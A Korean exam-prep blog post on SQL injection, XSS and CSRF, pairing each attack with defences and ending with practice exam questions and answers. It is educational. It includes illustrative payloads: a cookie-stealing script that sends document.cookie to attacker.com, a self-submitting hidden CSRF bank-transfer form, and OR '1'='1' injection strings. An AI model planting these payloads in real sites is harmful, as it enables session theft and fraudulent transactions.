
안녕하세요! 오늘은 정보보안기사 시험에서 가장 빈출 되는 웹 애플리케이션 보안 취약점에 대해 알아보겠습니다.
SQL Injection, XSS, CSRF는 실무에서도 가장 자주 발생하는 보안 위협이므로 반드시 숙지해야 할 개념들입니다.
📋 목차
- SQL Injection이란?
- XSS(Cross-Site Scripting) 완전 분석
- CSRF(Cross-Site Request Forgery) 이해하기
- 웹 보안 취약점 비교표
- 실전 대응 방안
- 정보보안기사 출제 포인트 및 기출문제
🔍 SQL Injection
SQL Injection이란?
SQL Injection은 웹 애플리케이션의 데이터베이스 쿼리에 악의적인 SQL 코드를 삽입하여 데이터베이스를 조작하는 공격 기법입니다.
공격 원리
-- 정상적인 로그인 쿼리
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'
-- SQL Injection 공격 예시
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
SQL Injection 유형
1. Error-based SQL Injection
- 데이터베이스 오류 메시지를 이용한 공격
- 시스템 정보 노출 위험
2. Union-based SQL Injection
- UNION 구문을 사용하여 추가 데이터 조회
- 민감 정보 탈취 가능
3. Boolean-based Blind SQL Injection
- 참/거짓 결과로 데이터 추출
- 시간이 오래 걸리지만 탐지 어려움
4. Time-based Blind SQL Injection
- 시간 지연을 이용한 정보 추출
- SLEEP() 함수 등 활용
📊 SQL Injection 대응 방안

🚨 XSS(Cross-Site Scripting)
XSS란?
XSS(Cross-Site Scripting)는 웹 페이지에 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행시키는 공격입니다.
XSS 공격 유형
1. Stored XSS (저장형)
<!-- 게시판에 저장된 악성 스크립트 -->
<script>
document.location = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
- 서버에 악성 스크립트가 저장됨
- 지속적인 피해 발생 가능
- 가장 위험한 XSS 유형
2. Reflected XSS (반사형)
<!-- URL 파라미터를 통한 공격 -->
http://vulnerable-site.com/search?q=<script>alert('XSS')</script>
- 사용자 입력이 즉시 반영됨
- 피싱 공격과 결합 시 위험
3. DOM-based XSS
// 클라이언트 사이드에서 발생
document.getElementById('welcome').innerHTML = 'Hello ' + name;
- 브라우저의 DOM 조작 시 발생
- 서버 로그에 남지 않아 탐지 어려움
🛡️ XSS 방어 기법
1. 입력값 검증 및 출력값 인코딩
<!-- 위험한 코드 -->
<div><?php echo $_GET['username']; ?></div>
<!-- 안전한 코드 -->
<div><?php echo htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8'); ?></div>
2. Content Security Policy (CSP)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
3. HttpOnly 쿠키 설정
setcookie('session', $value, 0, '/', '', true, true); // HttpOnly 설정
🎯 CSRF(Cross-Site Request Forgery)
CSRF란?
CSRF(Cross-Site Request Forgery)는 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위를 수행하도록 하는 공격입니다.
CSRF 공격 시나리오
1단계: 사용자 로그인 상태
사용자 → 은행 사이트 로그인 → 세션 유지 중
2단계: 악성 사이트 방문
<!-- 악성 사이트의 숨겨진 폼 -->
<form action="http://bank.com/transfer" method="POST" id="malicious-form">
<input type="hidden" name="to" value="attacker-account">
<input type="hidden" name="amount" value="1000000">
</form>
<script>document.getElementById('malicious-form').submit();</script>
3단계: 의도하지 않은 송금 실행
브라우저 → 은행 사이트에 송금 요청 → 세션 쿠키 자동 전송 → 송금 완료
🔒 CSRF 방어 방법
1. CSRF 토큰 사용
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="abc123xyz789">
<input type="text" name="amount">
<button type="submit">송금</button>
</form>
2. Referer 검증
if (!isset($_SERVER['HTTP_REFERER']) ||
strpos($_SERVER['HTTP_REFERER'], 'https://mybank.com') !== 0) {
die('Invalid request');
}
3. SameSite 쿠키 속성
setcookie('session', $value, [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);
📈 웹 보안 취약점 비교표

⚡ 실전 대응 방안

개발 단계에서의 보안 대책
1. 시큐어 코딩 가이드라인
- 모든 사용자 입력값 검증
- 출력값 인코딩 필수
- 최소 권한 원칙 적용
2. 보안 테스트 도구 활용
# OWASP ZAP을 이용한 취약점 스캔
./zap.sh -cmd -quickurl http://target-site.com -quickprogress
3. 웹 애플리케이션 방화벽(WAF) 도입
- 실시간 공격 탐지 및 차단
- 가상 패치 적용 가능
운영 단계에서의 모니터링
로그 분석 포인트
# SQL Injection 의심 로그
2024-01-15 14:30:22 [WARNING] Suspicious query: SELECT * FROM users WHERE id=1' OR '1'='1
# XSS 공격 시도 로그
2024-01-15 14:31:45 [ALERT] Script injection detected: <script>alert('xss')</script>
# CSRF 공격 의심 로그
2024-01-15 14:32:10 [WARNING] Invalid referer for sensitive action
📚 정보보안기사 출제 포인트
🎯 자주 출제되는 문제 유형
1. 취약점 식별 문제
다음 코드에서 발생할 수 있는 보안 취약점은?
$query = "SELECT * FROM users WHERE username='" . $_POST['username'] . "'";
정답: SQL Injection
2. 대응 방안 문제
CSRF 공격을 방어하기 위한 가장 효과적인 방법은?
- 입력값 검증
- CSRF 토큰 사용 ✅
- HTTPS 사용
- 세션 타임아웃 설정
3. 공격 시나리오 분석
XSS 공격의 3가지 유형을 설명하고 각각의 특징을 비교하시오.
💡 암기 포인트
- SQL Injection: -- # ; ' UNION SELECT
- XSS: <script> alert() document.cookie
- CSRF: 토큰, Referer, SameSite
📝 정보보안기사 기출문제 모음
🔥 2023년 1회 기출문제
문제 1 (3과목 - 애플리케이션 보안)
다음 중 웹 애플리케이션에서 발생할 수 있는 SQL Injection 공격을 방어하기 위한 가장 효과적인 방법은?
- 사용자 입력값의 길이 제한
- Prepared Statement 사용 ✅
- HTTPS 프로토콜 사용
- 세션 타임아웃 설정
💡 해설: Prepared Statement는 SQL 쿼리와 데이터를 분리하여 처리하므로 SQL Injection을 근본적으로 차단할 수 있습니다.
문제 2 (3과목 - 애플리케이션 보안)
XSS(Cross-Site Scripting) 공격의 유형 중 서버에 악성 스크립트가 저장되어 지속적인 피해를 발생시키는 유형은?
- Reflected XSS
- Stored XSS ✅
- DOM-based XSS
- Blind XSS
💡 해설: Stored XSS는 게시판이나 댓글 등에 악성 스크립트가 저장되어 해당 페이지에 접근하는 모든 사용자에게 피해를 주는 가장 위험한 XSS 유형입니다.
문제 3 (3과목 - 애플리케이션 보안)
다음 PHP 코드에서 발생할 수 있는 보안 취약점은?
$username = $_POST['username'];
echo "환영합니다, " . $username . "님!";
- SQL Injection
- XSS (Cross-Site Scripting) ✅
- CSRF
- Directory Traversal
💡 해설: 사용자 입력값을 검증 없이 직접 출력하므로 악성 스크립트가 삽입될 수 있습니다. htmlspecialchars() 함수로 방어해야 합니다.
🔥 2023년 2회 기출문제
문제 4 (3과목 - 애플리케이션 보안)
CSRF(Cross-Site Request Forgery) 공격을 방어하기 위한 방법으로 가장 적절하지 않은 것은?
- CSRF 토큰 사용
- Referer 헤더 검증
- HTTPS 사용 ✅
- SameSite 쿠키 속성 설정
💡 해설: HTTPS는 데이터 암호화를 위한 것으로 CSRF 공격 방어와는 직접적인 관련이 없습니다.
문제 5 (3과목 - 애플리케이션 보안)
다음 중 웹 애플리케이션의 입력값 검증에서 사용되는 화이트리스트 방식의 설명으로 옳은 것은?
- 금지된 문자나 패턴을 정의하여 차단
- 허용된 문자나 패턴만을 정의하여 통과 ✅
- 입력값의 길이만을 제한
- 암호화를 통한 입력값 보호
💡 해설: 화이트리스트 방식은 허용된 것만을 통과시키는 방식으로 블랙리스트 방식보다 보안성이 높습니다.
🔥 2022년 3회 기출문제
문제 6 (3과목 - 애플리케이션 보안)
다음 SQL 쿼리에서 SQL Injection 공격이 성공할 경우 예상되는 결과는?
SELECT * FROM users WHERE id = '1' OR '1'='1'-- ' AND password = 'test'
- 로그인 실패
- 모든 사용자 정보 출력 ✅
- 데이터베이스 삭제
- 시스템 종료
💡 해설: '1'='1'은 항상 참이므로 WHERE 조건이 무시되어 모든 사용자 정보가 출력됩니다.
문제 7 (3과목 - 애플리케이션 보안)
XSS 공격에서 사용되는 다음 JavaScript 코드의 목적은?
document.location = 'http://attacker.com/steal.php?cookie=' + document.cookie;
- 페이지 리디렉션
- 쿠키 정보 탈취 ✅
- 브라우저 종료
- 파일 다운로드
💡 해설: 사용자의 쿠키 정보를 공격자의 서버로 전송하여 세션 하이재킹을 시도하는 코드입니다.
🔥 2022년 2회 기출문제
문제 8 (3과목 - 애플리케이션 보안)
웹 애플리케이션에서 파일 업로드 취약점을 방어하기 위한 방법으로 가장 적절하지 않은 것은?
- 업로드 파일 확장자 검증
- 파일 크기 제한
- 파일명 암호화 ✅
- 업로드 디렉터리 실행 권한 제거
💡 해설: 파일명 암호화는 보안 강화에 도움이 되지만 파일 업로드 취약점의 직접적인 방어 방법은 아닙니다.
문제 9 (3과목 - 애플리케이션 보안)
다음 중 웹 애플리케이션의 세션 관리 취약점에 해당하지 않는 것은?
- 세션 하이재킹
- 세션 고정 공격
- 버퍼 오버플로우 ✅
- 세션 타임아웃 부재
💡 해설: 버퍼 오버플로우는 메모리 관련 취약점으로 세션 관리와는 직접적인 관련이 없습니다.
문제 10 (3과목 - 애플리케이션 보안)
Content Security Policy(CSP)의 주요 목적은?
- SQL Injection 방어
- XSS 공격 방어 ✅
- CSRF 공격 방어
- 무차별 대입 공격 방어
💡 해설: CSP는 웹 페이지에서 실행 가능한 스크립트의 출처를 제한하여 XSS 공격을 방어하는 보안 정책입니다.
🔧 추가 보안 고려사항
API 보안
{
"error": "Invalid input detected",
"details": "Special characters not allowed",
"timestamp": "2024-01-15T14:30:00Z"
}
보안 헤더 설정
# Apache 설정 예시
Header always set X-Content-Type-Options nosniff
Header always set X-Frame-Options DENY
Header always set X-XSS-Protection "1; mode=block"
🎯 마무리
웹 애플리케이션 보안 취약점인 SQL Injection, XSS, CSRF는 정보보안기사 시험뿐만 아니라 실무에서도 반드시 알아야 할 핵심 개념입니다.
핵심 요약
- SQL Injection: 데이터베이스 조작 공격 → Prepared Statement로 방어
- XSS: 악성 스크립트 삽입 공격 → 입출력 검증으로 방어
- CSRF: 의도하지 않은 요청 공격 → CSRF 토큰으로 방어
정보보안기사 합격을 위해서는 이론뿐만 아니라 실제 공격 시나리오와 대응 방안을 함께 이해하는 것이 중요합니다!
#정보보안기사 #웹보안 #SQLInjection #XSS #CSRF #보안취약점 #시큐어코딩 #정보보안산업기사
#정보보안기사 #정보보안산업기사 #정보보안기사기출문제 #정보보안기사실기 #정보보안기사필기
#웹보안 #애플리케이션보안 #웹애플리케이션취약점 #시큐어코딩 #보안개발 #OWASP #웹해킹 #화이트해킹
#SQLInjection #SQL인젝션 #XSS #크로스사이트스크립팅 #CSRF #크로스사이트요청위조 #보안취약점 #웹취약점
#웹개발보안 #보안코딩 #PHP보안 #JavaScript보안 #데이터베이스보안 #PreparedStatement #입력값검증
#정보보안기사준비 #정보보안기사공부 #정보보안기사합격 #정보보안기사요약 #기출문제풀이 #정보보안자격증
#CSP #ContentSecurityPolicy #CSRFToken #세션보안 #쿠키보안 #WAF #웹방화벽
#정보보안직무 #보안엔지니어 #사이버보안 #정보보안실무 #보안관제 #IT보안 #사이버위협
#정보보안공부 #보안학습 #IT자격증 #정보처리기사 #네트워크보안 #시스템보안 #정보보안개론
'보안 > 보안기초' 카테고리의 다른 글
[정보보안기사]정보보호의 확장 요소와 보안 원칙 (0) | 2025.05.05 |
---|---|
[정보보안기사] 정보보호 위협과 공격 유형 (0) | 2025.05.05 |
[보안기초] 정보보호 대책의 3가지 축과 통합적 접근 (2) | 2025.05.03 |
[정보보안의 기초] 정보보호의 목표(CIA Triad) (2) | 2025.05.03 |